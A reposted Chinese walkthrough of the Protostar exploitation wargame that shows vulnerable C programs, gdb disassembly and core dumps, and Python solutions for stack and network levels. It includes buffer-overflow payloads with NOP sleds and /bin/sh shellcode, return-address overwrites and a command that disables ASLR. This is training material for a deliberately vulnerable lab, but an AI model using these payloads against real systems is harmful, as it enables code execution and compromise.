zoukankan      html  css  js  c++  java
  • exploit-exercises-protostar

    转载学习于  http://www.programlife.net/exploit-exercises-protostar-writeup-1.html

    stack0  ````````````````````````````````````````````````````````````````````````````````````````````````

     1#include <stdlib.h>
     2#include <unistd.h>
     3#include <stdio.h>
     4#include <string.h>
     5
     6int main(int argc, char **argv)
     7{
     8  volatile int modified;
     9  char buffer[64];
    10
    11  if(argc == 1) {
    12    errx(1, "please specify an argument
    ");
    13  }
    14
    15  modified = 0;
    16  strcpy(buffer, argv[1]);
    17
    18  if(modified == 0x61626364) {
    19    printf("you have correctly got the variable to the right value
    ");
    20  } else {
    21    printf("Try again, you got 0x%08x
    ", modified);
    22  }
    23}

    python -c "print 'A'*65" | ./stack0

    stack1  ````````````````````````````````````````````````````````````````````````````````````````````````

     1#include <stdlib.h>
     2#include <unistd.h>
     3#include <stdio.h>
     4#include <string.h>
     5
     6int main(int argc, char **argv)
     7{
     8  volatile int modified;
     9  char buffer[64];
    10
    11  if(argc == 1) {
    12    errx(1, "please specify an argument
    ");
    13  }
    14
    15  modified = 0;
    16  strcpy(buffer, argv[1]);
    17
    18  if(modified == 0x61626364) {
    19    printf("you have correctly got the variable to the right value
    ");
    20  } else {
    21    printf("Try again, you got 0x%08x
    ", modified);
    22  }
    23}
    python -c "print 'A'*64+'x64x63x62x61'" | xargs ./stack1

    stack2  ````````````````````````````````````````````````````````````````````````````````````````````````

     1#include <stdlib.h>
     2#include <unistd.h>
     3#include <stdio.h>
     4#include <string.h>
     5
     6int main(int argc, char **argv)
     7{
     8  volatile int modified;
     9  char buffer[64];
    10  char *variable;
    11
    12  variable = getenv("GREENIE");
    13
    14  if(variable == NULL) {
    15    errx(1, "please set the GREENIE environment variable
    ");
    16  }
    17
    18  modified = 0;
    19
    20  strcpy(buffer, variable);
    21
    22  if(modified == 0x0d0a0d0a) {
    23    printf("you have correctly modified the variable
    ");
    24  } else {
    25    printf("Try again, you got 0x%08x
    ", modified);
    26  }
    27
    28}

    import os
     
    def main():
        envval = 'A'*64 + 'x0ax0dx0ax0d'
        os.putenv("GREENIE", envval)
        os.system("./stack2")
     
    if __name__ == "__main__":
        main()

    然后 python stack2.py  (另外 具体输入0D0A的方法是“回车->Ctrl+V->回车" *2)


    stack3  ````````````````````````````````````````````````````````````````````````````````````````````````

     1#include <stdlib.h>
     2#include <unistd.h>
     3#include <stdio.h>
     4#include <string.h>
     5
     6void win()
     7{
     8  printf("code flow successfully changed
    ");
     9}
    10
    11int main(int argc, char **argv)
    12{
    13  volatile int (*fp)();
    14  char buffer[64];
    15
    16  fp = 0;
    17
    18  gets(buffer);
    19
    20  if(fp) {
    21    printf("calling function pointer, jumping to 0x%08x
    ", fp);
    22    fp();
    23  }
    24}
    IDA 看到  08048424 win 地址那么 

    python -c "print 'A'*64+'x24x84x04x08'" | ./stack3

    stack4 ````````````````````````````````````````````````````````````````````````````````````````````````

     1#include <stdlib.h>
     2#include <unistd.h>
     3#include <stdio.h>
     4#include <string.h>
     5
     6void win()
     7{
     8  printf("code flow successfully changed
    ");
     9}
    10
    11int main(int argc, char **argv)
    12{
    13  char buffer[64];
    14
    15  gets(buffer);
    16}
    解法1  edb调试 看到 可以覆盖 'A'*64 + 12字节之后的返回地址 可以调节 程序流程

    python -c "print 'A'*64+'b'*12 + 'xf4x83x04x08'" | ./stack4

    解法2 

    gdb stack4
    disas win
    (得到win函数的地址: 0x080483f4)
     
    disas main
       0x08048408 <+0>:	push   %ebp
       0x08048409 <+1>:	mov    %esp,%ebp
       0x0804840b <+3>:	and    $0xfffffff0,%esp
       0x0804840e <+6>:	sub    $0x50,%esp
       0x08048411 <+9>:	lea    0x10(%esp),%eax
       0x08048415 <+13>:	mov    %eax,(%esp)
       0x08048418 <+16>:	call   0x804830c <gets@plt>
       0x0804841d <+21>:	leave  
       0x0804841e <+22>:	ret    
    b *0x0804840b
    r
    i r $esp
    esp            0xbffff128	0xbffff128

    main函数的返回地址覆盖偏移值为: 0×50+8+4-0×10=0x4C

    stack5  ````````````````````````````````````````````````````````````````````````````````````````````````

     1#include <stdlib.h>
     2#include <unistd.h>
     3#include <stdio.h>
     4#include <string.h>
     5
     6int main(int argc, char **argv)
     7{
     8  char buffer[64];
     9
    10  gets(buffer);
    11}


       0x080483c4 <+0>:     push   %ebp
       0x080483c5 <+1>:     mov    %esp,%ebp
       0x080483c7 <+3>:     and    $0xfffffff0,%esp
       0x080483ca <+6>:     sub    $0x50,%esp
       0x080483cd <+9>:     lea    0x10(%esp),%eax
       0x080483d1 <+13>:    mov    %eax,(%esp)
       0x080483d4 <+16>:    call   0x80482e8 <gets@plt>
       0x080483d9 <+21>:    leave  
       0x080483da <+22>:    ret  

    main函数的返回地址覆盖偏移: 0x50+4+8-0x10 = 0x4c

    第一  我们必须要先关闭内存随机化
    echo 0 >/proc/sys/kernel/randomize_va_space 
    要不然 用返回地址去覆盖跟定会出错
    关闭Linux 内存地址随机化机制, 禁用进程地址空间随机化.可以将进程的mmap的基址,stack和vdso页面地址固定下来. 可以通过设置kernel.randomize_va_space内核参数来设置内存地址随机化的行为.
    目前randomize_va_space的值有三种,分别是[0,1,2]
    0 - 表示关闭进程地址空间随机化。
    1 - 表示将mmap的基址,stack和vdso页面随机化。
    2 - 表示在1的基础上增加栈(heap)的随机化。
    
    

    ulimit -c unlimited                 不限制core文件的大小
    cat /proc/sys/kernel/core_pattern   查看core文件位置与格式
    echo 1 > /proc/sys/fs/suid_dumpable 设置生成core文件




    python -c "print 'A'*0x4c" | ./stack5


    root@bt:~/Desktop/protostar/bin#gdb -q -c core 
    [New Thread 2875]
    Core was generated by `./stack5'.
    Program terminated with signal 11, Segmentation fault.
    #0  0xb7e89b00 in ?? ()
    (gdb) x /40xw $esp-100
    0xbffff31c:     0x080483d9       0xbffff330         0xb7ea22a5      0xbffff338
    0xbffff32c:     0xb7e899d5       0x41414141      0x41414141      0x41414141
    0xbffff33c:     0x41414141       0x41414141      0x41414141      0x41414141
    0xbffff34c:     0x41414141       0x41414141      0x41414141      0x41414141
    0xbffff35c:     0x41414141       0x41414141      0x41414141      0x41414141
    0xbffff36c:     0x41414141       0x41414141      0x41414141      0x41414141
    0xbffff37c:     0xb7e89b00      0x00000001      0xbffff424         0xbffff42c
    0xbffff38c:     0xb7fe1858       0xbffff3e0         0xffffffff            0xb7ffeff4

    需要覆盖  0xbffff37c  地址上的值 为  0xbffff330 + 0x4c + 4 =0xBFFFF380


    这里覆盖  0x4c+4 后的地址,  因为0x4c后的地址为 我们要覆盖的地址,0x4c+4 是我们想要开始执行shellcode的地址

    import sys
    #0xbffff380:
    retnaddr = "x80xf3xffxbf"
    shellcode = ("x31xc0x31xdbxb0x06xcdx80x53x68/ttyx68/dev" +
                 "x89xe3x31xc9x66xb9x12x27xb0x05xcdx80x31" +
                 "xc0x50x68//shx68/binx89xe3x50x53x89xe1x99" +
                 "xb0x0bxcdx80")
    sys.stdout.write('A'*0x4C + retnaddr + 'x90'*20 + shellcode)



    stack6  ````````````````````````````````````````````````````````````````````````````````````````````````

    1#include <stdlib.h>
     2#include <unistd.h>
     3#include <stdio.h>
     4#include <string.h>
     5
     6void getpath()
     7{
     8  char buffer[64];
     9  unsigned int ret;
    10
    11  printf("input path please: "); fflush(stdout);
    12
    13  gets(buffer);
    14
    15  ret = __builtin_return_address(0);
    16
    17  if((ret & 0xbf000000) == 0xbf000000) {
    18    printf("bzzzt (%p)
    ", ret);
    19    _exit(1);
    20  }
    21
    22  printf("got path %s
    ", buffer);
    23}
    24
    25int main(int argc, char **argv)
    26{
    27  getpath();
    28}
       0x08048484 <+0>:     push   %ebp
       0x08048485 <+1>:     mov    %esp,%ebp
       0x08048487 <+3>:     sub    $0x68,%esp
       0x0804848a <+6>:     mov    $0x80485d0,%eax
       0x0804848f <+11>:    mov    %eax,(%esp)
       0x08048492 <+14>:    call   0x80483c0 <printf@plt>
       0x08048497 <+19>:    mov    0x8049720,%eax
       0x0804849c <+24>:    mov    %eax,(%esp)
       0x0804849f <+27>:    call   0x80483b0 <fflush@plt>
       0x080484a4 <+32>:    lea    -0x4c(%ebp),%eax
       0x080484a7 <+35>:    mov    %eax,(%esp)
       0x080484aa <+38>:    call   0x8048380 <gets@plt>
    ·········
       0x080484f9 <+117>:   ret    
    


    返回地址 覆盖偏移值 = 0x4c + 4 = 0x50

    这个题对返回地址作了判断,那么我们可以利用一个ret 指令,跳转到esp到shellcode直接执行




    root@bt:~/Desktop/protostar/bin# python -c "print 'A'*0x50 + 'b'*4" | ./stack6
    input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbAAAAAAAAAAAAbbbb
    段错误 (core dumped)
    root@bt:~/Desktop/protostar/bin# gdb -q -c core 
    [New Thread 3124]
    Core was generated by `./stack6'.
    Program terminated with signal 11, Segmentation fault.
    #0  0x62626262 in ?? ()
    (gdb) x /40xw $esp-100
    0xbffff30c:     0x00000001      0x00000000      0x00000001      0xb7fff8f8
    0xbffff31c:     0x41414141      0x41414141      0x41414141      0x41414141
    0xbffff32c:     0x41414141      0x41414141      0x41414141      0x41414141
    0xbffff33c:     0x41414141      0x41414141      0x41414141      0x41414141
    0xbffff34c:     0x41414141      0x41414141      0x41414141      0x41414141
    0xbffff35c:     0x62626262      0x41414141      0x41414141      0x41414141
    0xbffff36c:     0x62626262      0x08048500      0x00000000      0xbffff3f8
    0xbffff37c:     0xb7e89bd6      0x00000001      0xbffff424      0xbffff42c



    覆盖0xbffff36c 地址上的值为 ret   (0x080484f9 ) 然后  0xbffff370 地址上的值为 shellcode 地址起始  赋值为  0xbffff374  

    import sys
    #0x080484f9
    retbyte = "xf9x84x04x08"
    #0xbffff370:
    retnaddr = "x74xf3xffxbf"
    shellcode = ("x31xc0x31xdbxb0x06xcdx80x53x68/ttyx68/dev" +
                 "x89xe3x31xc9x66xb9x12x27xb0x05xcdx80x31" +
                 "xc0x50x68//shx68/binx89xe3x50x53x89xe1x99" +
                 "xb0x0bxcdx80")
    #open('payload.txt','wb').write('A'*0x50 + retbyte + retnaddr +'x90'*0x20 + shellcode)
    sys.stdout.write('A'*0x50 + retbyte + retnaddr  +'x90'*0x20+ shellcode)


    stack7  ````````````````````````````````````````````````````````````````````````````````````````````````


     1#include <stdlib.h>
     2#include <unistd.h>
     3#include <stdio.h>
     4#include <string.h>
     5
     6char *getpath()
     7{
     8  char buffer[64];
     9  unsigned int ret;
    10
    11  printf("input path please: "); fflush(stdout);
    12
    13  gets(buffer);
    14
    15  ret = __builtin_return_address(0);
    16
    17  if((ret & 0xb0000000) == 0xb0000000) {
    18    printf("bzzzt (%p)
    ", ret);
    19    _exit(1);
    20  }
    21
    22  printf("got path %s
    ", buffer);
    23  return strdup(buffer);
    24}
    25
    26int main(int argc, char **argv)
    27{
    28  getpath();
    29}
    跟stack6 一样的做法,只是  ret 地址不同而已

    import sys
    #0x08048544
    retbyte = "x44x85x04x08"
    #0xbffff370:
    retnaddr = "x74xf3xffxbf"
    shellcode = ("x31xc0x31xdbxb0x06xcdx80x53x68/ttyx68/dev" +
                 "x89xe3x31xc9x66xb9x12x27xb0x05xcdx80x31" +
                 "xc0x50x68//shx68/binx89xe3x50x53x89xe1x99" +
                 "xb0x0bxcdx80")
    #open('payload.txt','wb').write('A'*0x50 + retbyte + retnaddr +'x90'*0x20 + shellcode)
    sys.stdout.write('A'*0x50 + retbyte+retnaddr  +'x90'*0x20+ shellcode)

    另外···················

    objdump  还有点好用

    msfconsole  下的 msfelfscan 也好用

    还可以用IDA 查看  寻找

    msf > msfelfscan -p stack6
    [*] exec: msfelfscan -p stack6
    
    [stack6]
    0x08048452 pop ebx; pop ebp; ret
    0x08048577 pop edi; pop ebp; ret
    0x080485a7 pop ebx; pop ebp; ret
    


    本题可以第二种方法: jmp eax  



    net0  ````````````````````````````````````````````````````````````````````````````````````````````````

     1#include "../common/common.c"
     2
     3#define NAME "net0"
     4#define UID 999
     5#define GID 999
     6#define PORT 2999
     7
     8void run()
     9{
    10  unsigned int i;
    11  unsigned int wanted;
    12
    13  wanted = random();
    14
    15  printf("Please send '%d' as a little endian 32bit int
    ", wanted);
    16
    17  if(fread(&i, sizeof(i), 1, stdin) == NULL) {
    18    errx(1, ":(
    ");
    19  }
    20
    21  if(i == wanted) {
    22    printf("Thank you sir/madam
    ");
    23  } else {
    24    printf("I'm sorry, you sent %d instead
    ", i);
    25  }
    26}
    27
    28int main(int argc, char **argv, char **envp)
    29{
    30  int fd;
    31  char *username;
    32
    33  /* Run the process as a daemon */
    34  background_process(NAME, UID, GID);  
    35  
    36  /* Wait for socket activity and return */
    37  fd = serve_forever(PORT);
    38
    39  /* Set the client socket to STDIN, STDOUT, and STDERR */
    40  set_io(fd);
    41
    42  /* Don't do this :> */
    43  srandom(time(NULL));
    44
    45  run();
    46}
    <span style="font-family: Arial, Helvetica, sans-serif; background-color: rgb(255, 255, 255);"></span><pre name="code" class="python"><pre name="code" class="python">import socket
    import struct
    
    if __name__ == '__main__':
    	import socket
    	import struct
    	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    	sock.connect(('192.168.198.130',2999))
    	data = sock.recv(1024)
    	print data
    	print type(data)
    	
    	data = data.split("'")[1]
    	print type(data)
    	sock.send(struct.pack('<i', int(data)))
    	
    	sock.send(data)
    	print sock.recv(1024)
    
    	sock.close()
    
    
    root@bt:~/Desktop# python client.py 
    Please send '175243340' as a little endian 32bit int
    
    <type 'str'>
    <type 'str'>
    Thank you sir/madam
    
    
    <span style="font-family: Arial, Helvetica, sans-serif; background-color: rgb(255, 255, 255);">split说明:</span>

    s="aaabcccbdddbeeebffff"
    result=string.split(s,"b")
    则result值为['aaa', 'ccc', 'ddd', 'eee', 'ffff']
    sep就是这里的"b",也就是字符串里面找到"b",将其作为分隔符,把字符串s分开,这里没有maxsplit参数,也就默认是全部分隔。
    
    如果添加maxsplit参数,比如result=string.split(s,"b",2)这里把maxsplit设置为2,那么就只会分割前面两个,那么result的值为['aaa', 'ccc', 'dddbeeebffff']  后面那个干脆就没分割了,不过一般很少有用到maxsplit参数的时候。
    
    另外如果不给出sep也就是分隔符,那么默认是空格。
    比如s="aa bb cc dd"
    result=string.split(s)
    那么result的值为['aa', 'bb', 'cc', 'dd'],就是用空格来分割。
    
    对了,split作为string的一个方法,还可以由string对象,也就是一般的字符串直接调用搜索,比如上面的可以result=s.split()就行了。


    net1  ````````````````````````````````````````````````````````````````````````````````````````````````

     1#include "../common/common.c"
     2
     3#define NAME "net1"
     4#define UID 998
     5#define GID 998
     6#define PORT 2998
     7
     8void run()
     9{
    10  char buf[12];
    11  char fub[12];
    12  char *q;
    13
    14  unsigned int wanted;
    15
    16  wanted = random();
    17
    18  sprintf(fub, "%d", wanted);
    19
    20  if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) { 
    21    errx(1, ":(
    ");
    22  }
    23
    24  if(fgets(buf, sizeof(buf)-1, stdin) == NULL) {
    25    errx(1, ":(
    ");
    26  }
    27
    28  q = strchr(buf, '
    '); if(q) *q = 0;
    29  q = strchr(buf, '
    '); if(q) *q = 0;
    30
    31  if(strcmp(fub, buf) == 0) {
    32    printf("you correctly sent the data
    ");
    33  } else {
    34    printf("you didn't send the data properly
    ");
    35  }
    36}
    37
    38int main(int argc, char **argv, char **envp)
    39{
    40  int fd;
    41  char *username;
    42
    43  /* Run the process as a daemon */
    44  background_process(NAME, UID, GID);  
    45  
    46  /* Wait for socket activity and return */
    47  fd = serve_forever(PORT);
    48
    49  /* Set the client socket to STDIN, STDOUT, and STDERR */
    50  set_io(fd);
    51
    52  /* Don't do this :> */
    53  srandom(time(NULL));
    54
    55  run();
    56}

    python  语法:

    struct.pack(fmt,v1,v2, ...)
    Return a string containing the values v1, v2, ... 
    packed according to the given format. The arguments must match the values required by the format exactly.
    struct.unpack(fmt,string)
    Unpack the string (presumably packed by pack(fmt, ...)) according to the given format. 
    The result is a tuple even if it contains exactly one item. The string must contain exactly the amount of data required by the format (len(string) must equalcalcsize(fmt)).
    Character Byte order Size Alignment
    @ native native native
    = native standard none
    < little-endian standard none
    > big-endian standard none
    ! network (= big-endian) standard none
    Format C Type Python type Standard size Notes
    x pad byte no value    
    c char string of length 1 1  
    b signed char integer 1 (3)
    B unsigned char integer 1 (3)
    ? _Bool bool 1 (1)
    h short integer 2 (3)
    H unsigned short integer 2 (3)
    i int integer 4 (3)
    I unsigned int integer 4 (3)
    l long integer 4 (3)
    L unsigned long integer 4 (3)
    q long long integer 8 (2), (3)
    Q unsigned long long integer 8 (2), (3)
    f float float 4 (4)
    d double float 8 (4)
    s char[] string    
    p char[] string    
    P void * integer   (5), (3)
    int  是4字节```````````````````````````````````

    eg:
    data = struct.unpack('<i','abcd')
    print data  #1
    data =  "%d
    " % (struct.unpack('<i', 'abcd'))
    print data   #2
    (1684234849,)#1
    1684234849   #2

    结果:

    if __name__ == '__main__':
    	import socket
    	import struct
    	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    	sock.connect(('192.168.198.130',2998))
    	data = sock.recv(1024)
    	print data
    	print type(data)
    	data = '%d
    ' % struct.unpack('i',data)
    	
    	print 'send data '+data
    	sock.send(data)
    	print sock.recv(1024)
    	
    	sock.close()
    root@bt:~/Desktop# python client.py 
    ���?
    <type 'str'>
    send data 1071159696
    
    you correctly sent the data
    


    ····这个程序怎么退出呢  ,先要查询 监听TCP 2998 端口的进程号  netstat -tlnp|grep 2998  然后KILL  进程即可

    net2  ````````````````````````````````````````````````````````````````````````````````````````````````

    int __cdecl run()
    {
      int result; // eax@9
      int buf; // [sp+14h] [bp-24h]@6
      int v2[4]; // [sp+18h] [bp-20h]@2
      int i; // [sp+28h] [bp-10h]@1
      int v4; // [sp+2Ch] [bp-Ch]@1
    
      v4 = 0;
      for ( i = 0; i <= 3; ++i )
      {
        v2[i] = random();
        v4 += v2[i];
        if ( write(0, &v2[i], 4u) != 4 )
          errx(1, ":(
    ");
      }
      if ( read(0, &buf, 4u) != 4 )
        errx(1, ":<
    ");
      if ( v4 == buf )
        result = puts("you added them correctly");
      else
        result = puts("sorry, try again. invalid");
      return result;
    }
    答案:1

    if __name__ == '__main__':
    	import socket
    	import struct
    	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    	sock.connect(('192.168.198.130',2997))
    	data = sock.recv(1024)
    	print data
    	
    	data =  struct.unpack('iiii',data)
            print data
            print type(data)
            data2 = data[0]+data[1]+data[2]+data[3]
    	
    	data3 = struct.pack('q',data2)
    	
    	sock.send(data3)
    	print sock.recv(1024)
    
    	sock.close()
    root@bt:~/Desktop# python client.py 
    ��!Y�?f,q��Y7
    (1495371652, 1065588930, 1898735133, 928636033)
    <type 'tuple'>
    you added them correctly
    
    答案:2

    import socket
    import struct
     
    if __name__ == '__main__':
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(("192.168.198.130", 2997))
     
        sum = 0
        datalen = 0
        while datalen < 12:
            data = sock.recv(1024)
            print type(data)
            
            datalen += len(data)
            print 'datalen = %d' % datalen
            
            data = struct.unpack("<%dI" % (len(data)/4), data)
            print type(data)
            
            for x in data:
                print "%d" % x
                sum += x
        sock.send(struct.pack("<I", sum))
        print sock.recv(1024)
        sock.close()
    root@bt:~/Desktop# python client.py 
    <type 'str'>
    datalen = 16
    <type 'tuple'>
    673873820
    2011859757
    186060414
    580064129
    you added them correctly
    



    net3  ````````````````````````````````````````````````````````````````````````````````````````````````

    int __cdecl get_string(char **a1, int a2, unsigned __int16 a3)
    {
      unsigned __int8 v4; // [sp+2Fh] [bp-9h]@1
    
      v4 = *(_BYTE *)a2;
      if ( *(_BYTE *)a2 > a3 )
        errx(1, "badly formed packet");
      *a1 = (char *)malloc(v4);//这里可以看出这里需要 buffer长度,接着就是buffer长度了
      strcpy(*a1, (const char *)(a2 + 1));//(a2+1)看出buffer长度之后就是buffer了
      return v4 + 1;
    }

    <span style="font-size:12px;">bool __cdecl login(int a1, unsigned __int16 a2)
    {
      int v2; // eax@3
      int v3; // eax@3
      int v4; // eax@3
      int v5; // eax@3
      int v6; // eax@3
      int v7; // eax@3
      const char *v9; // [sp+2Ch] [bp-1Ch]@3
      const char *v10; // [sp+30h] [bp-18h]@3
      char *ptr; // [sp+34h] [bp-14h]@3
      int v12; // [sp+38h] [bp-10h]@3
      int v13; // [sp+3Ch] [bp-Ch]@3
    
      if ( a2 <= 2u )
        errx(1, "invalid login packet length");
      v9 = NULL;
      v10 = NULL;
      ptr = NULL;
      v2 = get_string(&ptr, a1, a2);
      v12 = v2;
      v3 = get_string((char **)&v10, a1 + v2, a2 - v2);
      v12 += v3;
      v4 = get_string((char **)&v9, a1 + v12, a2 - v12);
      v12 += v4;
      v13 = 0;
      v5 = strcmp(ptr, "net3");
      v13 |= v5;
      v6 = strcmp(v10, "awesomesauce");
      v13 |= v6;
      v7 = strcmp(v9, "password");
      v13 |= v7;
      free(ptr);
      free((void *)v10);
      free((void *)v9);
      return v13 == 0;
    }</span>

    void __cdecl run(int fd)
    {
      char *v1; // eax@5
      int v2; // [sp+16h] [bp-12h]@1
      int v3; // [sp+1Ch] [bp-Ch]@4
    
      while ( 1 )
      {
        nread(fd, (int)&v2, 2);//下面申请内存可以看出传入的字符串第一个应该是长度,并且是 unsigned int 并且是大尾
        LOWORD(v2) = ntohs(v2);
        *(int *)((char *)&v2 + 2) = (int)malloc((unsigned __int16)v2);//申请了内存必定是存放字符串的,第一个肯定是长度来申请内存,(char*)&v2+2肯定是buffer
        if ( !*(int *)((char *)&v2 + 2) )
          break;
        nread(fd, *(int *)((char *)&v2 + 2), (unsigned __int16)v2);
        if ( **(_BYTE **)((char *)&v2 + 2) == 23 )//第二个字符为23
        {
          v3 = login(*(int *)((char *)&v2 + 2) + 1, (unsigned __int16)(v2 - 1));//这里((char*)&v2+2) +1 是因为存放前面的23
          if ( v3 )
            v1 = "successful";
          else
            v1 = "failed";
          send_string(fd, 33, v1);
        }
        else
        {
          send_string(fd, 58, "what you talkin about willis?");
        }
      }
      errx(1, "malloc failure for %d bytes", (unsigned __int16)v2);
    }

    答案:

    import socket
    import struct
     
    def getdata():
      data = ["net3","awesomesauce","password"]
      buffer = 'x17'
      for x in data:
        buffer = buffer + chr(len(x)+1) + x + '0'
      buffer += '
    '
      return buffer
      
    if __name__ == "__main__":
       sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
       sock.connect(("192.168.198.130",2996))
       
       data = getdata()
       
       sock.send(struct.pack('>H',len(data)))
       sock.send(data)
       print sock.recv(1024)































  • 相关阅读:
    面试题准备
    ImageList控件
    修改Visual Studio 2010 帮助文件库的位置
    委托与事件(续)
    PictureBox
    我的廣播情緣12/26
    回首我的2007 12/25
    水晶報表:列印支票金額12/12
    聖誕節快樂
    新年快樂
  • 原文地址:https://www.cnblogs.com/zcc1414/p/3982365.html
Copyright © 2011-2022 走看看